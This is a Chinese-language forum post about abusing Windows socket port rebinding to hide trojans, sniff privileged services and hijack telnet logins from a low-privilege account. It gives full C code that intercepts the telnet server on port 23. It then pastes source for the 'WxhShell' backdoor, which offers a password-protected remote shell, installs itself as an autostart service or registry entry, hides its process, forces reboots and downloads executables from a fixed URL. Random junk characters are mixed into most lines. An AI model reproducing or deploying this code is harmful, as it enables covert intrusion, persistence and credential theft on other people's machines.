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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^I!gteU;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oRl@AhS  
lDG.\u  
  saddr.sin_family = AF_INET; Z DnAzAR  
|bjLmGb  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \LDcIK=  
}-paGM@'Nd  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Y1 6pT  
Mm#=d?YUHJ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MZSyu  
~;nW+S$o  
  这意味着什么?意味着可以进行如下的攻击: [,mcvO;  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \MtdT[*  
]w9syz8X  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) s _`y"' ^  
KnYHjJa  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 M,N(be-  
qAuq2pHA+d  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  v5`Odbc=w  
T q5F'@e  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q9 RCN<!  
c]:@y"W5$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 p9iCrqi  
_ 4+=S)$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]Oe[;<I  
m{0u+obi&w  
  #include JT 5+d ,  
  #include , -S n  
  #include o`[X _  
  #include    ?a-}1A{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   XBHv V05mv  
  int main() Uc|MfxsL  
  { 7=]Y7 "XCf  
  WORD wVersionRequested; +@K8:}lOW  
  DWORD ret; Z!qF0UDj  
  WSADATA wsaData; P+;@?ofB  
  BOOL val; =v/x&,Uj@6  
  SOCKADDR_IN saddr; M.}QXta  
  SOCKADDR_IN scaddr; .s<tQU  
  int err; 74*iF'f?c  
  SOCKET s; Gh9dv|m=[;  
  SOCKET sc; *wfkjG  
  int caddsize; ak;S Ie  
  HANDLE mt; .;~K*GC  
  DWORD tid;   .ZOyZnr Z  
  wVersionRequested = MAKEWORD( 2, 2 ); 6c&OR2HGqO  
  err = WSAStartup( wVersionRequested, &wsaData ); n0kkUc-`   
  if ( err != 0 ) { g3,F+  
  printf("error!WSAStartup failed!\n"); q"pnFK9/L  
  return -1; eFCXjM  
  } v4wXa:CJ  
  saddr.sin_family = AF_INET; Voc&T+A m  
   _fANl}Mf:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,<?M/'4}G  
sOW,hpNW  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ph=[|P)  
  saddr.sin_port = htons(23); ;^:$O6J7T~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hk1jxnQ h  
  { Mt`XHXTp  
  printf("error!socket failed!\n"); #n}n %  
  return -1; H0i\#)Xs  
  } ) BLoj:gYn  
  val = TRUE; &;k`3`MC~w  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 V/7?]?!xu  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) prg8Iq'w  
  { A)q,VSR8  
  printf("error!setsockopt failed!\n");  !#8=tO  
  return -1; 4Vi&Y')f  
  } A'X, zw^}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; n;Etn!4M  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Dbo.N`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *d/]-JN,K  
Yhd|1,m9f  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8RR6f98FF  
  { ;]^JUmxU[d  
  ret=GetLastError(); ^@..\X9  
  printf("error!bind failed!\n"); +bK.{1  
  return -1; lb('=]3 }H  
  } i<Be)Y-'  
  listen(s,2); v mXY}Ul  
  while(1) F I\V6\B/  
  { VG`A* Vj  
  caddsize = sizeof(scaddr); >zDnJb&"&  
  //接受连接请求 tY=n("=2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =F}e>D  
  if(sc!=INVALID_SOCKET) *oX~z>aE  
  { )WFSUZ~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); zdUi1 b  
  if(mt==NULL) W=~H_ L?/  
  { 8W_X&X?Q  
  printf("Thread Creat Failed!\n"); |!{ BjOAD'  
  break; bz? *#S  
  } /aB9pD+%  
  } O}3M+  
  CloseHandle(mt); %7?v='s=  
  } OAQ'/{~7  
  closesocket(s); ,FPgbs  
  WSACleanup(); +>5 "fs$Y  
  return 0;  VSkx;P  
  }   +<ey Iw  
  DWORD WINAPI ClientThread(LPVOID lpParam) Up$vBE8i]  
  { k]`3if5>  
  SOCKET ss = (SOCKET)lpParam; []M+(8Z_P  
  SOCKET sc; uv[e0,@  
  unsigned char buf[4096]; G#4cWn'  
  SOCKADDR_IN saddr; `&U ['_%  
  long num; gU}?Yy  
  DWORD val; 7M1*SC  
  DWORD ret; T<0Bq"'%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :q4 Mnr  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;G3{ e  
  saddr.sin_family = AF_INET; `v)-v<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r(yb%p+  
  saddr.sin_port = htons(23); 2aN  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S-h1p`  
  { ud-.R~f{e  
  printf("error!socket failed!\n"); 1q! 6Sny@  
  return -1; GJqSNi}  
  } ~I>B5^3  
  val = 100; U9xFQ=$ 2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @]HV:7<q  
  { JqH2c=}-  
  ret = GetLastError(); OX4+1@$tk  
  return -1; EQ>bwEG  
  } .-N9\GlJ,d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;r[=q u\  
  { xTM&SVNbL_  
  ret = GetLastError(); [zR raG\  
  return -1; JCZJ\f*EZ  
  } f(?`PD[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +Z[%+x92  
  { 0p$?-81BJ  
  printf("error!socket connect failed!\n"); q#PGcCtu  
  closesocket(sc); |P2GL3NR  
  closesocket(ss); ^ :Q |,oy  
  return -1; ' n~N*DH  
  } h3xX26l  
  while(1) 4#=!VK8ZH  
  { Xb3vvHdI  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 eeb 8v:4  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 # dxlU/*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g m],  
  num = recv(ss,buf,4096,0); s:cS 9A8  
  if(num>0) Zk}e?Grc  
  send(sc,buf,num,0); xMhR;lKY  
  else if(num==0) YKl!M/  
  break; ,^o^@SI)   
  num = recv(sc,buf,4096,0); mXF pGo5 s  
  if(num>0) <z)MV oa  
  send(ss,buf,num,0); b)w3 G%Xx  
  else if(num==0) k=bv!T_o  
  break; n*iaNaU"'  
  } M7,|+W/RK  
  closesocket(ss); +U%lWE%  
  closesocket(sc); _z m<[0(  
  return 0 ; =$Q3!bJ  
  } ,-DE;l^Q=  
JEBo!9  
" Jnq~7]  
========================================================== ? *I9  
W.:k E|a.g  
下边附上一个代码,,WXhSHELL %v~j10e  
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========================================================== (DK pJCx  
J(/ eR,ak  
#include "stdafx.h" oRWsi/Zf  
:@b>,{*4zS  
#include <stdio.h> a9jY^E'|n  
#include <string.h> p7H*Ff`  
#include <windows.h> >Q5E0 !]  
#include <winsock2.h> 'A8T.BU  
#include <winsvc.h> ocgbBE  
#include <urlmon.h> 3+ i(fg_  
nNilT J   
#pragma comment (lib, "Ws2_32.lib") (%+DE4?  
#pragma comment (lib, "urlmon.lib") <6L$ :vT_  
" 31C8  
#define MAX_USER   100 // 最大客户端连接数 9CBB,  
#define BUF_SOCK   200 // sock buffer V (!b!i@  
#define KEY_BUFF   255 // 输入 buffer _9 Gy`  
[sNn^x  
#define REBOOT     0   // 重启 S-f3rL[?  
#define SHUTDOWN   1   // 关机 2,QkktJLo  
qs-:JmA_w  
#define DEF_PORT   5000 // 监听端口 \HK#d1>ox  
:f/ p5 c  
#define REG_LEN     16   // 注册表键长度 ^ACp_RM  
#define SVC_LEN     80   // NT服务名长度 [sKdIw_  
#{ Uk4  
// 从dll定义API Q}fAAZ&7h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q}\\p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GF/p|I D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UN>hJN;c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {&h&:  
>MP PYVn7  
// wxhshell配置信息 O &w$  
struct WSCFG { $yFur[97C  
  int ws_port;         // 监听端口 MzG(+B  
  char ws_passstr[REG_LEN]; // 口令 :Dr& {3>  
  int ws_autoins;       // 安装标记, 1=yes 0=no HZK0Ldf  
  char ws_regname[REG_LEN]; // 注册表键名 ]-PF?8  
  char ws_svcname[REG_LEN]; // 服务名 h0^V!.- 5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 caj)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nW drVT$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \GvVs  
int ws_downexe;       // 下载执行标记, 1=yes 0=no BgpJ;D+N4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" giu~"#0/F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M2zfN ru  
dU&.gFw1  
}; "!Qhk3*  
H`Z4a N  
// default Wxhshell configuration #!`zU4&2  
struct WSCFG wscfg={DEF_PORT, IYCKF/2o  
    "xuhuanlingzhe", 'g=yJ  
    1, RD_;us@&&*  
    "Wxhshell", -dvDAs{X  
    "Wxhshell", `jZX(H   
            "WxhShell Service", MZd\.]G@  
    "Wrsky Windows CmdShell Service", *UyV@  
    "Please Input Your Password: ", TM^1 {0;r5  
  1, =AKW(v  
  "http://www.wrsky.com/wxhshell.exe", xY~ DMcO?  
  "Wxhshell.exe" BO9Z "|"  
    }; Zi[)(agAT  
_ma4  
// 消息定义模块 Y?5yzD:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S|>Up%{n[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I Mv^ 9T:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Qs?+vk?*h  
char *msg_ws_ext="\n\rExit."; s?6 7@\  
char *msg_ws_end="\n\rQuit.";  q?^0 o\  
char *msg_ws_boot="\n\rReboot..."; x!$,Hcph,  
char *msg_ws_poff="\n\rShutdown..."; D1j 7iv  
char *msg_ws_down="\n\rSave to "; !}3`Pl.(r  
pJv?  
char *msg_ws_err="\n\rErr!"; ?\O+#U%W  
char *msg_ws_ok="\n\rOK!"; 9=kTTFs  
bL&]3n9Rwu  
char ExeFile[MAX_PATH]; )Xh_q3=  
int nUser = 0; 5PPy+36<~  
HANDLE handles[MAX_USER]; eY(usK  
int OsIsNt; )-QNWN H  
18n84RkI9  
SERVICE_STATUS       serviceStatus; `Eu(r]:W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Gz6GU.IyQy  
{//F>5~[  
// 函数声明 8uGPyH  
int Install(void); Ffxk] o&%c  
int Uninstall(void); qIqk@u  
int DownloadFile(char *sURL, SOCKET wsh); Y(:OfC?  
int Boot(int flag); O)5PUyC:H  
void HideProc(void); 3w9 ]@kU  
int GetOsVer(void); M|v.5l#   
int Wxhshell(SOCKET wsl); ipzUF o<w  
void TalkWithClient(void *cs); fM|g8(TK,  
int CmdShell(SOCKET sock); bK].qN  
int StartFromService(void); hv"toszj\  
int StartWxhshell(LPSTR lpCmdLine); 6>L.)V  
tZ@ +18  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z1FbW&V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Qr<%rU^{.  
I| j tpv}  
// 数据结构和表定义 8x9kF]=  
SERVICE_TABLE_ENTRY DispatchTable[] = nM; G; T  
{ 0%qUTGj  
{wscfg.ws_svcname, NTServiceMain}, (En\odbvt  
{NULL, NULL} ~r!5d@f.6  
}; -+9x 0-P  
wrO>#`Z  
// 自我安装 vW{cB y  
int Install(void) wqwJpWIe  
{ t@u\ 4bv  
  char svExeFile[MAX_PATH]; cV{ZD q  
  HKEY key; `HM3YC  
  strcpy(svExeFile,ExeFile); pNqf2CnnT  
 ft'iv  
// 如果是win9x系统,修改注册表设为自启动 ,SyUr/D  
if(!OsIsNt) { !U#++Zig%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x7@WWFF>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r~}}o o4K  
  RegCloseKey(key); ) *A,L%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '<0q"juXE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  q%k+x)  
  RegCloseKey(key); )a^Yor)o"  
  return 0; uTU4Fn\$L  
    } @*DIB+K  
  } p-pw*wH0  
} b66X])+4jE  
else { pq[mM!;#v  
w}.'Tebu  
// 如果是NT以上系统,安装为系统服务 [Kj:~~`T   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0v@/I<  
if (schSCManager!=0) AIm$in`P  
{ jOb[h=B"  
  SC_HANDLE schService = CreateService nP3GI:mjL  
  ( |wJZU  
  schSCManager, YF -w=Y6  
  wscfg.ws_svcname, HLe^|  
  wscfg.ws_svcdisp, $CmX &%L=  
  SERVICE_ALL_ACCESS, vaj66nV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IPO[J^#Me  
  SERVICE_AUTO_START, O8r"M8  
  SERVICE_ERROR_NORMAL, ^)q2\ YE;  
  svExeFile, (J*w./  
  NULL, )zXyV]xe  
  NULL, Y(y 9l{'  
  NULL, W"kw>JEt  
  NULL, VM]IL%AN  
  NULL vs1Sh?O  
  ); s3-ktZ@  
  if (schService!=0) >fye^Tx  
  { l;BX\S  
  CloseServiceHandle(schService); Nr"N\yOA/  
  CloseServiceHandle(schSCManager); -m160k3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aE BP9RX}z  
  strcat(svExeFile,wscfg.ws_svcname); kP)o=\|W{z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~RXpz-Ye  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'Y[A'.*}4  
  RegCloseKey(key); p? ?/r  
  return 0; ^Q=y^fx1  
    } tHtV[We.:  
  } !/}FPM_  
  CloseServiceHandle(schSCManager); Tdwwtbe  
} B~>cNj<  
} =YGP%}_.p{  
+ |qfgi  
return 1; >Mn>P!  
} {1MGb%xW  
uXLZtfu{  
// 自我卸载 tin|,jA =  
int Uninstall(void) ;a#*|vx  
{ *9vA+uN  
  HKEY key; ey)u7-O  
ZCBPO~&hO'  
if(!OsIsNt) {  |.C    
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U+;>S$  
  RegDeleteValue(key,wscfg.ws_regname); f9,EWuQNS  
  RegCloseKey(key); ^QAiySR`0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fhV0S>*<  
  RegDeleteValue(key,wscfg.ws_regname); z8[H:W#G  
  RegCloseKey(key); .H^P2tp  
  return 0; `.'i V[fr  
  } lV<Tsk'  
} 20VVOnDY  
} Lq-33#n/  
else { oM<!I0"gC+  
A*;?U2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cVay=5].  
if (schSCManager!=0) -@L's{J{M  
{ ?Hi}nsw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sc8DY!|OYN  
  if (schService!=0) CofH}-  
  { `x} Dk<HF  
  if(DeleteService(schService)!=0) { 3}4p_}f/[4  
  CloseServiceHandle(schService); zq;DIWPIoJ  
  CloseServiceHandle(schSCManager); &G/|lv>j  
  return 0; 'qV3O+@MF  
  } HmExfW  
  CloseServiceHandle(schService); A/"}Y1#qX\  
  } -~][0PVL9  
  CloseServiceHandle(schSCManager); }t|Plz  
} 7%9)C[6NSs  
} l>~`;W  
RxZm/:yuJ.  
return 1; Taf n:Nw}  
} xP/OsaxN  
sz/*w7  
// 从指定url下载文件 L}W1*L$;<  
int DownloadFile(char *sURL, SOCKET wsh) ku9@&W+  
{ nlzW.OLM  
  HRESULT hr; ALd]1a&  
char seps[]= "/"; ]jc_=I6)  
char *token; j u*fyt  
char *file; A)hhnb0o  
char myURL[MAX_PATH]; !7*(!as  
char myFILE[MAX_PATH]; O4EIE)c  
a*Ss -y  
strcpy(myURL,sURL); R zS|dGNQE  
  token=strtok(myURL,seps); YOV :  
  while(token!=NULL) st?gA"5w  
  { $;Vc@mYGW;  
    file=token; i3Hz"Qs;  
  token=strtok(NULL,seps); Sty! atEWT  
  } jJ a V  
u#+RUtM  
GetCurrentDirectory(MAX_PATH,myFILE); 9 g Bjxqm  
strcat(myFILE, "\\"); 3;a R\:p@w  
strcat(myFILE, file); ,?g=U8y|  
  send(wsh,myFILE,strlen(myFILE),0); sEce{"VC  
send(wsh,"...",3,0); z2w;oM$g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'y9*uT~  
  if(hr==S_OK) \sK:W|yy  
return 0; wE$s'e  
else U:]MgZWn  
return 1; AkrTfi4hC  
ZXsYn  
} QsF4Dl   
dhHEE|vrz  
// 系统电源模块 M8';%  =@  
int Boot(int flag) G#H9g PY  
{ bD35JG^&i  
  HANDLE hToken; RF_[?O)Q  
  TOKEN_PRIVILEGES tkp; W+gpr|R2  
4xm&pQo{V6  
  if(OsIsNt) { BeK2;[5C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6eQsoKK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s^w\zzYb  
    tkp.PrivilegeCount = 1; 9ilM@SR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )Zas x6`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vsKl#R B  
if(flag==REBOOT) { (I4y[jnD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v f`9*xF  
  return 0; P##Z[$IJ3  
} &Y1`?1;nw  
else { uBmxh%]C~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bV@7mmz:X+  
  return 0; a3q\<"|  
} (ZV;$N-t  
  } HZ }6Q  
  else { %>Bko,ET  
if(flag==REBOOT) { AD]e0_E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =3*Jj`AV  
  return 0; |rMq;Rgu?  
} n)#Lh 7X"  
else { @\)fzubu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9e~WK720=  
  return 0; Z_FNIM0f  
} M>T[!*nTj  
} rvic%bsk  
/D[dO6.  
return 1; 2F1ZAl  
} *g1L$FBG  
dK.R[ aQ  
// win9x进程隐藏模块 6xarYh(  
void HideProc(void) iJ)0Y~  
{ &<Mt=(qY1  
'[nmFCG%m*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @l~7 x  
  if ( hKernel != NULL ) "tL2F*F"6X  
  { 7 _g+^e-"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x;j{} %  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ==N` !+  
    FreeLibrary(hKernel); 66Gx.tE  
  } (S F1y/g@=  
Z:@6Lv?CN  
return; R2 lXTW*  
} |5,<jyp  
tMFsA`ng  
// 获取操作系统版本 h4(JUio  
int GetOsVer(void) *69c-` o  
{ R)+t]}  
  OSVERSIONINFO winfo; R& #tSL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7^MX l  
  GetVersionEx(&winfo); d&jjWlHgEN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )~V }oKk0t  
  return 1; 5Z{_m;I.   
  else JrDHRIkgm  
  return 0; B3mS]  
} \D?:J3H*]  
~*}$>@f{[X  
// 客户端句柄模块 WPo:^BD   
int Wxhshell(SOCKET wsl) =&7@<vBpy  
{ =i>\2J%'R  
  SOCKET wsh; _s+c+]bO  
  struct sockaddr_in client; -[DWM2C$K4  
  DWORD myID; @2 =z}S3O  
\9)#l#m  
  while(nUser<MAX_USER) 9#k0_vDoW  
{ p@ygne 4  
  int nSize=sizeof(client); r`6:Q&&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5& !'^!  
  if(wsh==INVALID_SOCKET) return 1; 8o|P&q(v*  
,Ff n)+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gn ?YF`  
if(handles[nUser]==0) J} TfRrf  
  closesocket(wsh); B +Aj*\Y.  
else J8<J8x4  
  nUser++; _D,eyP9P  
  } +xp]:h|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); | o0RP|l  
Hi7y(h?wj  
  return 0; :#u}.G  
} r_U>VT^E:  
uS<_4A;sD,  
// 关闭 socket $^_|j1 z#i  
void CloseIt(SOCKET wsh) p|qyTeg  
{ ;YyXT"6/p  
closesocket(wsh); rh%m;i<b  
nUser--; `8:Kp  
ExitThread(0); =X1?_~}  
} jL>:>r  
a1c1k}  
// 客户端请求句柄 3yV'XxC  
void TalkWithClient(void *cs) p[v#EyoC  
{ E0l _--  
\+nGOvM  
  SOCKET wsh=(SOCKET)cs; 3`F) AWzdr  
  char pwd[SVC_LEN]; =Z,5$6%)  
  char cmd[KEY_BUFF]; gfy19c 9  
char chr[1]; g "hJ{{<  
int i,j; vl:J40Kfn  
s8<gK.atl  
  while (nUser < MAX_USER) { ,^$ |R32  
,gx)w^WTm  
if(wscfg.ws_passstr) { 3[IJhR[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #0"~G][#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +(?>-3_z  
  //ZeroMemory(pwd,KEY_BUFF); U \oy8FZ  
      i=0; #X`8dnQZ  
  while(i<SVC_LEN) { K84^ Oq  
^G|98yc!'  
  // 设置超时 xT*d/Oaw  
  fd_set FdRead;  jz'<  
  struct timeval TimeOut; 6bO~/mpWT~  
  FD_ZERO(&FdRead); '#\1uXM1U?  
  FD_SET(wsh,&FdRead); h<6UC%'ac  
  TimeOut.tv_sec=8; 2/7_;_#vJ%  
  TimeOut.tv_usec=0; TgfrI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Bh]!WMAw.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'Ot,H_pE  
a|_p,_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9YN?  
  pwd=chr[0]; <l,o&p,>|c  
  if(chr[0]==0xd || chr[0]==0xa) { %.HJK  
  pwd=0; ~DF:lqwWP  
  break; G64Fx*`  
  } kH948<fk3  
  i++; @T-p2#&  
    } x/fX`y|(}*  
!mJo'K  
  // 如果是非法用户,关闭 socket 5|8^9Oe5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S:bC[}  
} e}yX_Z'P<  
FMw&(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !Ng=Yk>3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ms^dRe)  
,)FdRRj  
while(1) { =aG xg57  
MCTsi:V>+  
  ZeroMemory(cmd,KEY_BUFF); IE2"rQT  
v-b0\_  
      // 自动支持客户端 telnet标准   |N/G'>TS  
  j=0; vGy8Qu>  
  while(j<KEY_BUFF) { :[l\@>H1tX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 23F/\2MSG  
  cmd[j]=chr[0]; H}}$V7]^),  
  if(chr[0]==0xa || chr[0]==0xd) { !YL. .fb  
  cmd[j]=0; LNYKm~c N  
  break; Kv&g5&N,  
  } `fNpY#QsN  
  j++; K>Fqf +_  
    } kRJ4-n^@><  
1c4/}3*  
  // 下载文件 thlY0XCq,%  
  if(strstr(cmd,"http://")) { {Azn&|%.t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F9"w6;hh  
  if(DownloadFile(cmd,wsh)) #N(= 3Cj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !|hoYU>@2L  
  else gmKGy@]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nQX+pkJ  
  } (IqZ@->nw  
  else { /1=4"|q>h'  
Rd \.:u  
    switch(cmd[0]) { *D}0 [|O  
  7cP@jj  
  // 帮助 <*ZJaBwWU~  
  case '?': { 4rT*tW"U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `3H4Ajzcc  
    break; } p FQRSOZ  
  } .T<= z  
  // 安装 3981ie  
  case 'i': { VZr>U*J[:  
    if(Install()) {Bs~lC$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ia&AW  
    else (_kp{0r#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g,t jm(  
    break; b \KL;H/  
    } GE;e]Jkjn  
  // 卸载 LsEXM-  
  case 'r': { H={DB  
    if(Uninstall()) \J..*,'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9_s6l  
    else =' ZRfb&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :K`ESq!8u  
    break; O4\Z!R60g  
    } ,u }XW V  
  // 显示 wxhshell 所在路径 $E<Esf$  
  case 'p': { '|]e<Mt-  
    char svExeFile[MAX_PATH]; }jt?|dl1  
    strcpy(svExeFile,"\n\r"); El_wdbbT  
      strcat(svExeFile,ExeFile); WG*t ::NN  
        send(wsh,svExeFile,strlen(svExeFile),0);  B[=(#W  
    break; 7Dzuii?1  
    } _It,%<3  
  // 重启 WV3|?,y]qm  
  case 'b': { ?]fF3SJk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qPB8O1fyU  
    if(Boot(REBOOT)) XBd>tdEP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )vmA^nU>  
    else { [Vd[-  
    closesocket(wsh); ;Op3?_  
    ExitThread(0); R1nJUOE4w^  
    } R>DaOH2K*  
